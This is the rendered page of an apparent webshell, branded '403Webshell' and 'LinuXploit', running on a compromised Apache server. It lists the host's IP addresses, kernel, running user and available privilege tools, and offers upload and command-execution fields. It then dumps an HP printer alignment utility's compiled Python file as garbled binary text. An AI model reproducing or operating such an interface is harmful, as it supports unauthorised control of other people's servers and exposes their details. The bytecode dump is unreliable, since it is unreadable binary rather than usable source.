403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip//align.pyc
Ñò
lïJc@sÄdZdZdZdZddkZddkZddkZddkZddkZddk	Tddk
lZlZl
Z
lZlZlZddklZd	„Zd
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zy–eieeeedeefe fƒZ!e!i"ei#dddddgƒe!i$ƒ\Z%Z&Z'Z(Z)Z*e!i+e&e'dhei,e-fd6ƒZ&e(ejo,e
i.ƒpe/i0deƒeZ(q»ne(ejoóyei1e&e'ƒZ2Wn6e3j
o*Z4e/i0de4i5ƒei6dƒnXz’ye2i7ƒWn-e3j
o!e/i0dƒei6dƒnXe2i8ƒo6e2i9i:de-ƒZ;e/i<de;ƒe2i=ƒe;e>joe/i0dƒq¨e;e?joei@e2eiAƒq¨e;eBjoeiCe2eiAeiDƒq¨e;eEjoeiFe2eiAeeƒq¨e;eGeHfjo eiIe2eiAeeeJƒq¨e;eKjoeiLe2eeeiAƒq¨e;eMjoeiNe2eiAeƒq¨e;eOePeQfjo&eiRe2e;eiAeeeeƒq¨e;eSjoeiTe2eiAeƒq¨e;eUjoeiVe2eiAeeƒq¨e;eWjoeiXe2eiAƒq¨e;eYjoeiZe2eiAeeƒq¨e/i0d ƒne/i0dƒWde2i=ƒXnÈy$dd!k[l\Z\dd"k]l^Z^Wn-e_j
o!e/i0d#ƒei6dƒnXe\ei`ƒZae^de&ƒZbebicƒye/i<d$ƒeaidƒWn eej
oei6dƒnXei6dƒWn eej
oe/i0d%ƒnXe/ifd&ƒe/ifd'ƒdS((s5.0s#Printer Cartridge Alignment Utilityshp-alignszCartridge alignment utility for HPLIP supported inkjet printers. (Note: Not all printers require the use of this utility).iÿÿÿÿN(t*(tdevicetstatustutilstmaintttuitmodule(tcupscCsGtid||fd|ƒ\}}|ptidƒn||fS(Ns1Enter the best aligned value for line %s (1-%d): ii(Rtenter_rangetsystexit(tletterthortverttcolorst
line_counttmaximumtoktvalue((s/usr/share/hplip/align.pytenterAlignmentNumber)s	
cCsAtid|d|ƒ\}}|ptidƒn||fS(NsFEnter numbered arrow that is best aligned with the paper edge (1-%d): ii(RRR	R
(RRR((s/usr/share/hplip/align.pytenterPaperEdge4s	cCsGtid||fd|ƒ\}}|ptidƒn||fS(Ns]Enter the numbered box on line %s that is best color matched to the background color (1-%d): ii(RRR	R
(tlineRRR((s/usr/share/hplip/align.pytcolorAdj?s	
cCstidƒdS(NshCannot perform alignment with 0 or 1 cartridges installed.
Please install both cartridges and try again.(tlogterror(((s/usr/share/hplip/align.pytbothPensRequiredJscCstidƒdS(NsNInvalid cartridge(s) installed.
Please install valid cartridges and try again.(RR(((s/usr/share/hplip/align.pyt
invalidPenNscCstidƒdS(Ns„Invalid cartridge(s) installed. Cannot align with only the photo cartridge installed.
Please install other cartridges and try again.(RR(((s/usr/share/hplip/align.pytinvalidPen2RscCs€tidƒtidƒtidƒtidƒtiddddgdƒ\}}|djotid	ƒn|d
jS(NsyTo perform alignment, you will need the alignment page that is automatically
printed after you install a print cartridge.s*
p		Print the alignment page and continue.sGn		Do Not print the alignment page (you already have one) and continue.s	q		Quit.
s6Choice (p=print page*, n=do not print page, q=quit) ? tptntqity(RtinfoRtenter_choiceR	R
(Rtchoice((s/usr/share/hplip/align.pytaioUI1Vs



$
cCs½ti||ƒ}g}|iƒ}|iƒxˆ|D]€}||dp|idƒq5tid|||dfd||dƒ\}}|i|ƒ|ptidƒq5q5W|S(NisbEnter the numbered box on line %s where the inner lines best line up with the outer lines (1-%d): i(	Rtalign10and11and14ControlstkeystsorttappendRRR	R
(tpatternt
align_typetcontrolstvaluest
s_controlsRRR((s/usr/share/hplip/align.pyttype10and11and14Alignds
	,
cCs[tidƒtitidƒƒtidƒtidƒtidƒtidƒdS(Nts-Follow these steps to complete the alignment:s@1. Place the alignment page, with the printed side facing down, s   in the scanner.s12. Press the Enter or Scan button on the printer.sX3. "Alignment Complete" will be displayed when the process is finished (on some models).(RRtbold(((s/usr/share/hplip/align.pytaioUI2xs



t
see_also_listshp-cleanshp-colorcalshp-linefeedcals	hp-pqdiagtfilters
align-types@%s -u/--gui requires Qt4 GUI support. Entering interactive mode.sUnable to open device: %sisGDevice is busy or in an error state. Please check device and try again.isAlignment type=%ds|Alignment through HPLIP not supported for this printer. Please use the printer's front panel to perform cartrdige alignment.sInvalid alignment type.(tQApplication(tAlignDialogs,Unable to load Qt4 support. Is it installed?sStarting GUI loop...s	User exitR-sDone.(gt__version__t	__title__t__mod__t__doc__R	tretgetopttoperatortostbase.gtbaseRRRRRRtprntRRRRRRRR"R,R/tModuletNonetINTERACTIVE_MODEtGUI_MODEtUI_TOOLKIT_QT4tmodtsetUsagetUSAGE_FLAG_DEVICE_ARGStparseStdOptstoptst
device_uritprinter_nametmodet
ui_toolkittlangtgetDeviceUritnetALIGN_TYPE_NONEtcanEnterGUIMode4RRtDevicetdtErrortetmsgR
topentisIdleAndNoErrortmqtgetR(tdebugtclosetALIGN_TYPE_UNSUPPORTEDtALIGN_TYPE_AUTOt
AlignType1PMLtload_paper_prompttALIGN_TYPE_AIOtAlignType13tload_scanner_for_align_prompttALIGN_TYPE_8XXt
AlignType2tALIGN_TYPE_9XXtALIGN_TYPE_9XX_NO_EDGE_ALIGNt
AlignType3tupdate_spinnertALIGN_TYPE_LIDIL_AIOt
AlignType6tALIGN_TYPE_DESKJET_450t
AlignType8tALIGN_TYPE_LIDIL_0_3_8tALIGN_TYPE_LIDIL_0_4_3tALIGN_TYPE_LIDIL_VIPt	AlignxBowtALIGN_TYPE_LBOWtAlignType10tALIGN_TYPE_LIDIL_0_5_4tAlignType11tALIGN_TYPE_OJ_PROtAlignType12tALIGN_TYPE_LIDIL_DJ_D1600tAlignType14tPyQt4.QtGuiR2tui4.aligndialogR3tImportErrortargvtapptdlgtshowtexec_tKeyboardInterruptR(((s/usr/share/hplip/align.pyt<module>sÄ
.										






















Youez - 2016 - github.com/yon3zu
LinuXploit